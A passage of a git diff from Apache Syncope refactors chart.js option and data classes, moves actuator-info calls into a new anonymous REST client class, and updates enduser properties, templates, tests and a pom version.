customTooltips; + public Boolean getDisplay() { + return display; + } - private Boolean showScale; - - /** The scale override. */ - private Boolean scaleOverride; + public void setDisplay(final Boolean display) { + this.display = display; + } + } - // ** The next three are required if scaleOverride is true ** - /** The scale steps. */ - private Integer scaleSteps; + public static class Scales implements Serializable { - /** The scale step width. */ - private Integer scaleStepWidth; + private static final long serialVersionUID = 1L; - /** The scale start value. */ - private Integer scaleStartValue; + private Axis x; - /** The scale line color. */ - private String scaleLineColor; + private Axis y; - /** The scale line width. */ - private Integer scaleLineWidth; + public Axis getX() { + return x; + } - /** The scale show labels. */ - private Boolean scaleShowLabels; + public void setX(final Axis x) { + this.x = x; + } - /** The scale label. */ - private String scaleLabel; + public Axis getY() { + return y; + } - /** The scale font family. */ - private String scaleFontFamily; + public void setY(final Axis y) { + this.y = y; + } + } - /** The scale font size. */ - private Integer scaleFontSize; + /** The animation. */ + private Boolean animation; - /** The scale font style. */ - private String scaleFontStyle; + /** The animation steps. */ + private Integer animationSteps; - /** The scale font color. */ - private String scaleFontColor; + /** The animation easing. */ + private String animationEasing; - private Boolean scaleIntegersOnly; + /** The on animation complete. */ + private String onAnimationComplete; - private Boolean scaleBeginAtZero; + @JsonRawValue + private String customTooltips; private Boolean responsive; @@ -126,6 +123,8 @@ public abstract class ChartOptions implements Serializable { private String multiTooltipTemplate; + private Scales scales; + @JsonRawValue private String onAnimationProgress; @@ -209,249 +208,6 @@ public void setOnAnimationComplete(final String onAnimationComplete) { this.onAnimationComplete = onAnimationComplete; } - /** - * Gets the scale override. - * - * @return the scale override - */ - public Boolean getScaleOverride() { - return scaleOverride; - } - - /** - * Sets the scale override. - * - * @param scaleOverride decides if you want to override with a hard coded scale - */ - public void setScaleOverride(final Boolean scaleOverride) { - this.scaleOverride = scaleOverride; - } - - /** - * Gets the scale steps. - * - * @return the scale steps - */ - public Integer getScaleSteps() { - return scaleSteps; - } - - /** - * Sets the scale steps. - * - * @param scaleSteps the number of steps in a hard coded scale (required if scaleOverride == true, default is null). - */ - public void setScaleSteps(final Integer scaleSteps) { - this.scaleSteps = scaleSteps; - } - - /** - * Gets the scale step width. - * - * @return the scale step width - */ - public Integer getScaleStepWidth() { - return scaleStepWidth; - } - - /** - * Sets the scale step width. - * - * @param scaleStepWidth the value jump in the hard coded scale (required if scaleOverride == true, default is - * null). - */ - public void setScaleStepWidth(final Integer scaleStepWidth) { - this.scaleStepWidth = scaleStepWidth; - } - - /** - * Gets the scale start value. - * - * @return the scale start value - */ - public Integer getScaleStartValue() { - return scaleStartValue; - } - - /** - * Sets the scale start value. - * - * @param scaleStartValue the scale starting value (required if scaleOverride == true, default is null). - */ - public void setScaleStartValue(final Integer scaleStartValue) { - this.scaleStartValue = scaleStartValue; - } - - /** - * Gets the scale line color. - * - * @return the scale line color - */ - public String getScaleLineColor() { - return scaleLineColor; - } - - /** - * Sets the scale line color. - * - * @param scaleLineColor - * color of the scale line - */ - public void setScaleLineColor(final String scaleLineColor) { - this.scaleLineColor = scaleLineColor; - } - - /** - * Gets the scale line width. - * - * @return the scale line width - */ - public Integer getScaleLineWidth() { - return scaleLineWidth; - } - - /** - * Sets the scale line width. - * - * @param scaleLineWidth the pixel width of the scale line - */ - public void setScaleLineWidth(final Integer scaleLineWidth) { - this.scaleLineWidth = scaleLineWidth; - } - - /** - * Gets the scale show labels. - * - * @return the scale show labels - */ - public Boolean getScaleShowLabels() { - return scaleShowLabels; - } - - /** - * Sets the scale show labels. - * - * @param scaleShowLabels decides whether to show labels on the scale - */ - public void setScaleShowLabels(final Boolean scaleShowLabels) { - this.scaleShowLabels = scaleShowLabels; - } - - /** - * Gets the scale label. - * - * @return the scale label - */ - public String getScaleLabel() { - return scaleLabel; - } - - /** - * Sets the scale label. - * - * @param scaleLabel an interpolated js string that can access value. - */ - public void setScaleLabel(final String scaleLabel) { - this.scaleLabel = scaleLabel; - } - - /** - * Gets the scale font family. - * - * @return the scale font family - */ - public String getScaleFontFamily() { - return scaleFontFamily; - } - - /** - * Sets the scale font family. - * - * @param scaleFontFamily scale label font declaration for the scale label (default is - * "'Arial'"). - */ - public void setScaleFontFamily(final String scaleFontFamily) { - this.scaleFontFamily = scaleFontFamily; - } - - /** - * Gets the scale font size. - * - * @return the scale font size - */ - public Integer getScaleFontSize() { - return scaleFontSize; - } - - /** - * Sets the scale font size. - * - * @param scaleFontSize the scale label font size in pixels - */ - public void setScaleFontSize(final Integer scaleFontSize) { - this.scaleFontSize = scaleFontSize; - } - - /** - * Gets the scale font style. - * - * @return the scale font style - */ - public String getScaleFontStyle() { - return scaleFontStyle; - } - - /** - * Sets the scale font style. - * - * @param scaleFontStyle the scale label font weight style (default is "normal"). - */ - public void setScaleFontStyle(final String scaleFontStyle) { - this.scaleFontStyle = scaleFontStyle; - } - - /** - * Gets the scale font color. - * - * @return the scale font color - */ - public String getScaleFontColor() { - return scaleFontColor; - } - - /** - * Sets the scale font color. - * - * @param scaleFontColor the scale label font color (default is "#666"). - */ - public void setScaleFontColor(final String scaleFontColor) { - this.scaleFontColor = scaleFontColor; - } - - public Boolean getShowScale() { - return showScale; - } - - public void setShowScale(final Boolean showScale) { - this.showScale = showScale; - } - - public Boolean getScaleIntegersOnly() { - return scaleIntegersOnly; - } - - public void setScaleIntegersOnly(final Boolean scaleIntegersOnly) { - this.scaleIntegersOnly = scaleIntegersOnly; - } - - public Boolean getScaleBeginAtZero() { - return scaleBeginAtZero; - } - - public void setScaleBeginAtZero(final Boolean scaleBeginAtZero) { - this.scaleBeginAtZero = scaleBeginAtZero; - } - public Boolean getResponsive() { return responsive; } @@ -637,4 +393,12 @@ public boolean isResponsive() { public void setResponsive(final boolean responsive) { this.responsive = responsive; } + + public Scales getScales() { + return scales; + } + + public void setScales(final Scales scales) { + this.scales = scales; + } } diff --git a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/chartjs/Doughnut.java b/client/idrepo/console/src/main/java/org/apache/syncope/client/console/chartjs/Doughnut.java index 6121093cc08..f2c2fa207a2 100644 --- a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/chartjs/Doughnut.java +++ b/client/idrepo/console/src/main/java/org/apache/syncope/client/console/chartjs/Doughnut.java @@ -19,15 +19,13 @@ package org.apache.syncope.client.console.chartjs; import java.io.Serializable; -import java.util.ArrayList; -import java.util.List; /** * Provides a simple implementation of chart.js doughnut chart. * * @see chart.js docs */ -public class Doughnut extends SimpleChart implements Serializable { +public class Doughnut extends SimpleChart implements Serializable { private static final long serialVersionUID = -6898362145345731457L; @@ -38,12 +36,4 @@ public DoughnutChartOptions getOptions() { } return options; } - - @Override - public List getData() { - if (data == null) { - data = new ArrayList<>(); - } - return data; - } } diff --git a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/chartjs/DoughnutAndPieChartData.java b/client/idrepo/console/src/main/java/org/apache/syncope/client/console/chartjs/DoughnutAndPieChartData.java new file mode 100644 index 00000000000..c61fa27825d --- /dev/null +++ b/client/idrepo/console/src/main/java/org/apache/syncope/client/console/chartjs/DoughnutAndPieChartData.java @@ -0,0 +1,57 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.client.console.chartjs; + +import java.io.Serializable; +import java.util.ArrayList; +import java.util.List; + +public class DoughnutAndPieChartData implements Serializable { + + private static final long serialVersionUID = 1L; + + public static class DataSet implements Serializable { + + private static final long serialVersionUID = 1L; + + private final List data = new ArrayList<>(); + + private final List backgroundColor = new ArrayList<>(); + + public List getData() { + return data; + } + + public List getBackgroundColor() { + return backgroundColor; + } + } + + private final List datasets = new ArrayList<>(); + + private final List labels = new ArrayList<>(); + + public List getDatasets() { + return datasets; + } + + public List getLabels() { + return labels; + } +} diff --git a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/chartjs/DoughnutChartData.java b/client/idrepo/console/src/main/java/org/apache/syncope/client/console/chartjs/DoughnutChartData.java deleted file mode 100644 index 5403785ae82..00000000000 --- a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/chartjs/DoughnutChartData.java +++ /dev/null @@ -1,52 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - */ -package org.apache.syncope.client.console.chartjs; - -/** - * Provides chart data used by doughnut charts. - */ -public class DoughnutChartData extends SimpleColorValueChartData { - - private static final long serialVersionUID = -5122104387810776812L; - - private String label; - - /** - * Instantiates a new doughnut chart data. - * - * @param value the value - * @param color the color - */ - public DoughnutChartData(final Integer value, final String color) { - super(value, color); - } - - public DoughnutChartData(final Number value, final String color, final String label) { - super(value, color); - this.label = label; - } - - public String getLabel() { - return label; - } - - public void setLabel(final String label) { - this.label = label; - } -} diff --git a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/chartjs/DoughnutChartOptions.java b/client/idrepo/console/src/main/java/org/apache/syncope/client/console/chartjs/DoughnutChartOptions.java index b72dafbe711..b8facd6a4a8 100644 --- a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/chartjs/DoughnutChartOptions.java +++ b/client/idrepo/console/src/main/java/org/apache/syncope/client/console/chartjs/DoughnutChartOptions.java @@ -45,5 +45,4 @@ public Integer getPercentageInnerCutout() { public void setPercentageInnerCutout(final Integer percentageInnerCutout) { this.percentageInnerCutout = percentageInnerCutout; } - } diff --git a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/chartjs/LineChartOptions.java b/client/idrepo/console/src/main/java/org/apache/syncope/client/console/chartjs/LineChartOptions.java index 1aa824696ac..51060356a6f 100644 --- a/client/idrepo/console/src/main/java/org/apache/syncope/client/console/chartjs/LineChartOptions.java +++ b/client/idrepo/console/src/main/java/org/apache/syncope/client/console/chartjs/LineChartOptions.java @@ -29,8 +29,6 @@ public class LineChartOptions extends ChartOptions { private Boolean scaleShowVerticalLines = true; - private Double bezierCurveTension = 0.4; - private Integer pointHitDetectionRadius = 20; private String legendTemplate = " + +
  • +

    +

    • +     + +
  • +

    +

    • +

  • diff --git a/client/idrepo/enduser/src/main/resources/org/apache/syncope/client/enduser/panels/any/UserDetails.properties b/client/idrepo/enduser/src/main/resources/org/apache/syncope/client/enduser/panels/any/UserDetails.properties index 8d7410c180c..2b2fb2d5a1e 100644 --- a/client/idrepo/enduser/src/main/resources/org/apache/syncope/client/enduser/panels/any/UserDetails.properties +++ b/client/idrepo/enduser/src/main/resources/org/apache/syncope/client/enduser/panels/any/UserDetails.properties @@ -20,4 +20,4 @@ confirmPassword=Password (confirm) password.change=Password management password.change.warning=Password value will be sent to all associated resources storePasswordInSyncope=Store password in Syncope -destinationRealm=Destination realm +destinationRealm=Realm diff --git a/client/idrepo/enduser/src/main/resources/org/apache/syncope/client/enduser/panels/any/UserDetails_it.properties b/client/idrepo/enduser/src/main/resources/org/apache/syncope/client/enduser/panels/any/UserDetails_it.properties index d760f898a54..96ed1bf426c 100644 --- a/client/idrepo/enduser/src/main/resources/org/apache/syncope/client/enduser/panels/any/UserDetails_it.properties +++ b/client/idrepo/enduser/src/main/resources/org/apache/syncope/client/enduser/panels/any/UserDetails_it.properties @@ -20,4 +20,4 @@ confirmPassword=Password (conferma) password.change=Gestisci password password.change.warning=La password sar\u00e0 inviata a tutte le risorse associate storePasswordInSyncope=Salva password in Syncope -destinationRealm=Realm di destinazione +destinationRealm=Realm diff --git a/client/idrepo/enduser/src/main/resources/org/apache/syncope/client/enduser/panels/any/UserDetails_ja.properties b/client/idrepo/enduser/src/main/resources/org/apache/syncope/client/enduser/panels/any/UserDetails_ja.properties index b0b0e629811..f3735337102 100644 --- a/client/idrepo/enduser/src/main/resources/org/apache/syncope/client/enduser/panels/any/UserDetails_ja.properties +++ b/client/idrepo/enduser/src/main/resources/org/apache/syncope/client/enduser/panels/any/UserDetails_ja.properties @@ -20,4 +20,4 @@ confirmPassword=\u30d1\u30b9\u30ef\u30fc\u30c9 (\u78ba\u8a8d) password.change=\u30d1\u30b9\u30ef\u30fc\u30c9\u7ba1\u7406 password.change.warning=\u30d1\u30b9\u30ef\u30fc\u30c9\u306e\u5024\u306f\u3059\u3079\u3066\u306e\u5272\u308a\u5f53\u3066\u3089\u308c\u305f\u30ea\u30bd\u30fc\u30b9\u306b\u9001\u4fe1\u3055\u308c\u307e\u3059 storePasswordInSyncope=Syncope \u306b\u30d1\u30b9\u30ef\u30fc\u30c9\u3092\u683c\u7d0d -destinationRealm=\u5b9b\u5148\u30ec\u30eb\u30e0 +destinationRealm=Realm diff --git a/client/idrepo/enduser/src/main/resources/org/apache/syncope/client/enduser/panels/any/UserDetails_pt_BR.properties b/client/idrepo/enduser/src/main/resources/org/apache/syncope/client/enduser/panels/any/UserDetails_pt_BR.properties index 6cecec35b2e..c9a41996091 100644 --- a/client/idrepo/enduser/src/main/resources/org/apache/syncope/client/enduser/panels/any/UserDetails_pt_BR.properties +++ b/client/idrepo/enduser/src/main/resources/org/apache/syncope/client/enduser/panels/any/UserDetails_pt_BR.properties @@ -20,4 +20,4 @@ confirmPassword=Senha (confirmar) password.change=Gest\u00e3o password password.change.warning=Password value will be sent to all associated resources storePasswordInSyncope=Salvar senha in Syncope -destinationRealm=Destination realm +destinationRealm=Realm diff --git a/client/idrepo/enduser/src/main/resources/org/apache/syncope/client/enduser/panels/any/UserDetails_ru.properties b/client/idrepo/enduser/src/main/resources/org/apache/syncope/client/enduser/panels/any/UserDetails_ru.properties index cc2ffa278c2..ac258fc283a 100644 --- a/client/idrepo/enduser/src/main/resources/org/apache/syncope/client/enduser/panels/any/UserDetails_ru.properties +++ b/client/idrepo/enduser/src/main/resources/org/apache/syncope/client/enduser/panels/any/UserDetails_ru.properties @@ -20,4 +20,4 @@ confirmPassword=\u041f\u0430\u0440\u043e\u043b\u044c (\u043f\u043e\u0434\u0442\u password.change=\u0421\u043c\u0435\u043d\u0438\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u044c password.change.warning=Password value will be sent to all associated resources storePasswordInSyncope=\u0425\u0440\u0430\u043d\u0438\u0442\u044c \u043f\u0430\u0440\u043e\u043b\u044c \u0432 Syncope -destinationRealm=\u041e\u0431\u043b\u0430\u0441\u0442\u044c \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f +destinationRealm=Realm diff --git a/client/idrepo/enduser/src/main/resources/org/apache/syncope/client/enduser/widgets/UserProfileWidget.html b/client/idrepo/enduser/src/main/resources/org/apache/syncope/client/enduser/widgets/UserProfileWidget.html index 71c4015b70e..2fcb7de3db2 100644 --- a/client/idrepo/enduser/src/main/resources/org/apache/syncope/client/enduser/widgets/UserProfileWidget.html +++ b/client/idrepo/enduser/src/main/resources/org/apache/syncope/client/enduser/widgets/UserProfileWidget.html @@ -30,9 +30,6 @@

      -
    • : - -
    • :
      • diff --git a/client/idrepo/enduser/src/test/java/org/apache/syncope/client/enduser/AbstractTest.java b/client/idrepo/enduser/src/test/java/org/apache/syncope/client/enduser/AbstractTest.java index a209ca59498..4cff154aedf 100644 --- a/client/idrepo/enduser/src/test/java/org/apache/syncope/client/enduser/AbstractTest.java +++ b/client/idrepo/enduser/src/test/java/org/apache/syncope/client/enduser/AbstractTest.java @@ -20,6 +20,7 @@ import static org.mockito.ArgumentMatchers.any; import static org.mockito.ArgumentMatchers.anyString; +import static org.mockito.ArgumentMatchers.isNull; import static org.mockito.Mockito.mock; import static org.mockito.Mockito.when; @@ -35,9 +36,9 @@ import org.apache.cxf.jaxrs.client.Client; import org.apache.syncope.client.enduser.init.ClassPathScanImplementationLookup; import org.apache.syncope.client.lib.AuthenticationHandler; +import org.apache.syncope.client.lib.SyncopeAnonymousClient; import org.apache.syncope.client.lib.SyncopeClient; import org.apache.syncope.client.lib.SyncopeClientFactoryBean; -import org.apache.syncope.client.ui.commons.MIMETypesLoader; import org.apache.syncope.common.keymaster.client.api.DomainOps; import org.apache.syncope.common.keymaster.client.api.ServiceOps; import org.apache.syncope.common.keymaster.client.api.model.Domain; @@ -54,6 +55,7 @@ import org.apache.syncope.common.rest.api.service.AnyTypeService; import org.apache.syncope.common.rest.api.service.SchemaService; import org.apache.syncope.common.rest.api.service.SyncopeService; +import org.apache.wicket.request.resource.IResource; import org.apache.wicket.util.tester.WicketTester; import org.junit.jupiter.api.BeforeAll; import org.springframework.boot.autoconfigure.ImportAutoConfiguration; @@ -123,13 +125,6 @@ public ClassPathScanImplementationLookup classPathScanImplementationLookup() { lookup.load(); return lookup; } - - @Bean - public MIMETypesLoader mimeTypesLoader() { - MIMETypesLoader mimeTypesLoader = new MIMETypesLoader(); - mimeTypesLoader.load(); - return mimeTypesLoader; - } } public static class TestSyncopeWebApplication extends SyncopeWebApplication { @@ -138,9 +133,10 @@ public TestSyncopeWebApplication( final ResourceLoader resourceLoader, final EnduserProperties props, final ClassPathScanImplementationLookup lookup, - final ServiceOps serviceOps) { + final ServiceOps serviceOps, + final List resources) { - super(resourceLoader, props, lookup, serviceOps); + super(resourceLoader, props, lookup, serviceOps, resources); } public interface SyncopeServiceClient extends SyncopeService, Client { @@ -199,12 +195,14 @@ private UserTO getUserTO() { @Override public SyncopeClientFactoryBean newClientFactory() { SyncopeClient client = mock(SyncopeClient.class); + SyncopeAnonymousClient anonymousClient = mock(SyncopeAnonymousClient.class); + when(client.getJWT()).thenReturn(""); when(client.self()).thenReturn(Triple.of(new HashMap<>(), List.of(), getUserTO())); - when(client.platform()).thenReturn(new PlatformInfo()); - when(client.numbers()).thenAnswer(ic -> { + when(anonymousClient.platform()).thenReturn(new PlatformInfo()); + when(anonymousClient.numbers()).thenAnswer(ic -> { NumbersInfo numbersInfo = new NumbersInfo(); numbersInfo.getConfCompleteness().put( @@ -228,7 +226,7 @@ public SyncopeClientFactoryBean newClientFactory() { return numbersInfo; }); - when(client.system()).thenReturn(new SystemInfo()); + when(anonymousClient.system()).thenReturn(new SystemInfo()); SyncopeService syncopeService = getSyncopeService(); when(client.getService(SyncopeService.class)).thenReturn(syncopeService); @@ -243,6 +241,7 @@ public SyncopeClientFactoryBean newClientFactory() { when(clientFactory.setDomain(any())).thenReturn(clientFactory); when(clientFactory.create(any(AuthenticationHandler.class))).thenReturn(client); when(clientFactory.create(anyString(), anyString())).thenReturn(client); + when(clientFactory.createAnonymous(anyString(), isNull())).thenReturn(anonymousClient); return clientFactory; } diff --git a/client/idrepo/enduser/src/test/resources/enduser-debug.properties b/client/idrepo/enduser/src/test/resources/enduser-debug.properties index f03153d7674..e34599c3d07 100644 --- a/client/idrepo/enduser/src/test/resources/enduser-debug.properties +++ b/client/idrepo/enduser/src/test/resources/enduser-debug.properties @@ -14,11 +14,15 @@ # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. + +management.endpoints.web.exposure.include=health,info,beans,env,loggers + keymaster.address=http://localhost:9080/syncope/rest/keymaster +#keymaster.address=https://localhost:9443/syncope/rest/keymaster keymaster.username=${anonymousUser} keymaster.password=${anonymousKey} server.port=9091 -service.discovery.address=http://localhost:9090/syncope-console/ +service.discovery.address=http://localhost:9091/syncope-enduser/ logging.config=file://${project.build.testOutputDirectory}/log4j2.xml diff --git a/client/idrepo/lib/pom.xml b/client/idrepo/lib/pom.xml index 771dae4a3e9..0ae3894566b 100644 --- a/client/idrepo/lib/pom.xml +++ b/client/idrepo/lib/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.client syncope-client-idrepo - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Client IdRepo Lib diff --git a/client/idrepo/lib/src/main/java/org/apache/syncope/client/lib/SyncopeAnonymousClient.java b/client/idrepo/lib/src/main/java/org/apache/syncope/client/lib/SyncopeAnonymousClient.java new file mode 100644 index 00000000000..6e8d75896c4 --- /dev/null +++ b/client/idrepo/lib/src/main/java/org/apache/syncope/client/lib/SyncopeAnonymousClient.java @@ -0,0 +1,109 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.client.lib; + +import com.fasterxml.jackson.databind.JsonNode; +import java.io.IOException; +import java.io.InputStream; +import java.util.Base64; +import javax.ws.rs.core.HttpHeaders; +import javax.ws.rs.core.MediaType; +import org.apache.commons.lang3.StringUtils; +import org.apache.commons.lang3.tuple.Pair; +import org.apache.cxf.configuration.jsse.TLSClientParameters; +import org.apache.cxf.jaxrs.client.JAXRSClientFactoryBean; +import org.apache.cxf.jaxrs.client.WebClient; +import org.apache.cxf.transports.http.configuration.HTTPClientPolicy; +import org.apache.syncope.common.lib.info.NumbersInfo; +import org.apache.syncope.common.lib.info.PlatformInfo; +import org.apache.syncope.common.lib.info.SystemInfo; +import org.apache.syncope.common.rest.api.RESTHeaders; + +public class SyncopeAnonymousClient extends SyncopeClient { + + protected final AnonymousAuthenticationHandler anonymousAuthHandler; + + public SyncopeAnonymousClient( + final MediaType mediaType, + final JAXRSClientFactoryBean restClientFactory, + final RestClientExceptionMapper exceptionMapper, + final AnonymousAuthenticationHandler anonymousAuthHandler, + final boolean useCompression, + final HTTPClientPolicy httpClientPolicy, + final TLSClientParameters tlsClientParameters) { + + super( + mediaType, + restClientFactory, + exceptionMapper, + anonymousAuthHandler, + useCompression, + httpClientPolicy, + tlsClientParameters); + this.anonymousAuthHandler = anonymousAuthHandler; + } + + protected JsonNode info() throws IOException { + WebClient webClient = WebClientBuilder.build( + restClientFactory.getAddress().replace("/rest", "/actuator/info")). + accept(MediaType.APPLICATION_JSON_TYPE). + header(RESTHeaders.DOMAIN, getDomain()). + header(HttpHeaders.AUTHORIZATION, "Basic " + Base64.getEncoder().encodeToString( + (anonymousAuthHandler.getUsername() + ":" + anonymousAuthHandler.getPassword()).getBytes())); + + return MAPPER.readTree((InputStream) webClient.get().getEntity()); + } + + public Pair gitAndBuildInfo() { + try { + JsonNode info = info(); + return Pair.of( + info.has("git") && info.get("git").has("commit") && info.get("git").get("commit").has("id") + ? info.get("git").get("commit").get("id").asText() + : StringUtils.EMPTY, + info.get("build").get("version").asText()); + } catch (IOException e) { + throw new RuntimeException("While getting build and git Info", e); + } + } + + public PlatformInfo platform() { + try { + return MAPPER.treeToValue(info().get("platform"), PlatformInfo.class); + } catch (IOException e) { + throw new RuntimeException("While getting Platform Info", e); + } + } + + public SystemInfo system() { + try { + return MAPPER.treeToValue(info().get("system"), SystemInfo.class); + } catch (IOException e) { + throw new RuntimeException("While getting System Info", e); + } + } + + public NumbersInfo numbers() { + try { + return MAPPER.treeToValue(info().get("numbers"), NumbersInfo.class); + } catch (IOException e) { + throw new RuntimeException("While getting Numbers Info", e); + } + } +} diff --git a/client/idrepo/lib/src/main/java/org/apache/syncope/client/lib/SyncopeClient.java b/client/idrepo/lib/src/main/java/org/apache/syncope/client/lib/SyncopeClient.java index 60546ae1ae9..92ae55057a0 100644 --- a/client/idrepo/lib/src/main/java/org/apache/syncope/client/lib/SyncopeClient.java +++ b/client/idrepo/lib/src/main/java/org/apache/syncope/client/lib/SyncopeClient.java @@ -19,11 +19,8 @@ package org.apache.syncope.client.lib; import com.fasterxml.jackson.core.type.TypeReference; -import com.fasterxml.jackson.databind.JsonNode; import com.fasterxml.jackson.databind.json.JsonMapper; import java.io.IOException; -import java.io.InputStream; -import java.util.Base64; import java.util.HashMap; import java.util.List; import java.util.Map; @@ -33,8 +30,6 @@ import javax.ws.rs.core.HttpHeaders; import javax.ws.rs.core.MediaType; import javax.ws.rs.core.Response; -import org.apache.commons.lang3.StringUtils; -import org.apache.commons.lang3.tuple.Pair; import org.apache.commons.lang3.tuple.Triple; import org.apache.cxf.configuration.jsse.TLSClientParameters; import org.apache.cxf.jaxrs.client.Client; @@ -44,12 +39,10 @@ import org.apache.cxf.transport.common.gzip.GZIPInInterceptor; import org.apache.cxf.transport.common.gzip.GZIPOutInterceptor; import org.apache.cxf.transport.http.HTTPConduit; -import org.apache.cxf.transport.http.URLConnectionHTTPConduit; +import org.apache.cxf.transport.http.asyncclient.AsyncHTTPConduit; +import org.apache.cxf.transports.http.configuration.HTTPClientPolicy; import org.apache.syncope.client.lib.batch.BatchRequest; import org.apache.syncope.common.lib.SyncopeConstants; -import org.apache.syncope.common.lib.info.NumbersInfo; -import org.apache.syncope.common.lib.info.PlatformInfo; -import org.apache.syncope.common.lib.info.SystemInfo; import org.apache.syncope.common.lib.search.AnyObjectFiqlSearchConditionBuilder; import org.apache.syncope.common.lib.search.ConnObjectTOFiqlSearchConditionBuilder; import org.apache.syncope.common.lib.search.GroupFiqlSearchConditionBuilder; @@ -85,14 +78,17 @@ public class SyncopeClient { protected final boolean useCompression; + protected final HTTPClientPolicy httpClientPolicy; + protected final TLSClientParameters tlsClientParameters; public SyncopeClient( final MediaType mediaType, final JAXRSClientFactoryBean restClientFactory, final RestClientExceptionMapper exceptionMapper, - final AuthenticationHandler handler, + final AuthenticationHandler authHandler, final boolean useCompression, + final HTTPClientPolicy httpClientPolicy, final TLSClientParameters tlsClientParameters) { this.mediaType = mediaType; @@ -101,9 +97,11 @@ public SyncopeClient( this.restClientFactory.setHeaders(new HashMap<>()); } this.exceptionMapper = exceptionMapper; - this.tlsClientParameters = tlsClientParameters; - init(handler); this.useCompression = useCompression; + this.httpClientPolicy = httpClientPolicy; + this.tlsClientParameters = tlsClientParameters; + + init(authHandler); } /** @@ -118,27 +116,27 @@ public SyncopeClient( *
    * More can be supported by subclasses. * - * @param handler authentication handler + * @param authHandler authentication handler */ - protected void init(final AuthenticationHandler handler) { + protected void init(final AuthenticationHandler authHandler) { cleanup(); - if (handler instanceof AnonymousAuthenticationHandler) { - restClientFactory.setUsername(((AnonymousAuthenticationHandler) handler).getUsername()); - restClientFactory.setPassword(((AnonymousAuthenticationHandler) handler).getPassword()); - } else if (handler instanceof BasicAuthenticationHandler) { - restClientFactory.setUsername(((BasicAuthenticationHandler) handler).getUsername()); - restClientFactory.setPassword(((BasicAuthenticationHandler) handler).getPassword()); + if (authHandler instanceof AnonymousAuthenticationHandler) { + restClientFactory.setUsername(((AnonymousAuthenticationHandler) authHandler).getUsername()); + restClientFactory.setPassword(((AnonymousAuthenticationHandler) authHandler).getPassword()); + } else if (authHandler instanceof BasicAuthenticationHandler) { + restClientFactory.setUsername(((BasicAuthenticationHandler) authHandler).getUsername()); + restClientFactory.setPassword(((BasicAuthenticationHandler) authHandler).getPassword()); String jwt = getService(AccessTokenService.class).login().getHeaderString(RESTHeaders.TOKEN); restClientFactory.getHeaders().put(HttpHeaders.AUTHORIZATION, List.of("Bearer " + jwt)); restClientFactory.setUsername(null); restClientFactory.setPassword(null); - } else if (handler instanceof JWTAuthenticationHandler) { + } else if (authHandler instanceof JWTAuthenticationHandler) { restClientFactory.getHeaders().put( HttpHeaders.AUTHORIZATION, - List.of("Bearer " + ((JWTAuthenticationHandler) handler).getJwt())); + List.of("Bearer " + ((JWTAuthenticationHandler) authHandler).getJwt())); } } @@ -149,55 +147,6 @@ protected void cleanup() { restClientFactory.setPassword(null); } - protected JsonNode info() throws IOException { - WebClient webClient = WebClient.create( - restClientFactory.getAddress().replace("/rest", "/actuator/info")). - accept(MediaType.APPLICATION_JSON_TYPE). - header(RESTHeaders.DOMAIN, getDomain()); - - Optional.ofNullable(getJWT()).ifPresentOrElse( - jwt -> webClient.header(HttpHeaders.AUTHORIZATION, "Bearer " + jwt), - () -> webClient.header(HttpHeaders.AUTHORIZATION, "Basic " + Base64.getEncoder().encodeToString( - (restClientFactory.getUsername() + ":" + restClientFactory.getPassword()).getBytes()))); - - return MAPPER.readTree((InputStream) webClient.get().getEntity()); - } - - public Pair gitAndBuildInfo() { - try { - JsonNode info = info(); - return Pair.of( - info.has("git") ? info.get("git").get("commit").get("id").asText() : StringUtils.EMPTY, - info.get("build").get("version").asText()); - } catch (IOException e) { - throw new RuntimeException("While getting build and git Info", e); - } - } - - public PlatformInfo platform() { - try { - return MAPPER.treeToValue(info().get("platform"), PlatformInfo.class); - } catch (IOException e) { - throw new RuntimeException("While getting Platform Info", e); - } - } - - public SystemInfo system() { - try { - return MAPPER.treeToValue(info().get("system"), SystemInfo.class); - } catch (IOException e) { - throw new RuntimeException("While getting System Info", e); - } - } - - public NumbersInfo numbers() { - try { - return MAPPER.treeToValue(info().get("numbers"), NumbersInfo.class); - } catch (IOException e) { - throw new RuntimeException("While getting Numbers Info", e); - } - } - /** * Gives the base address for REST calls. * @@ -299,8 +248,7 @@ public static OrderByClauseBuilder getOrderByClauseBuilder() { 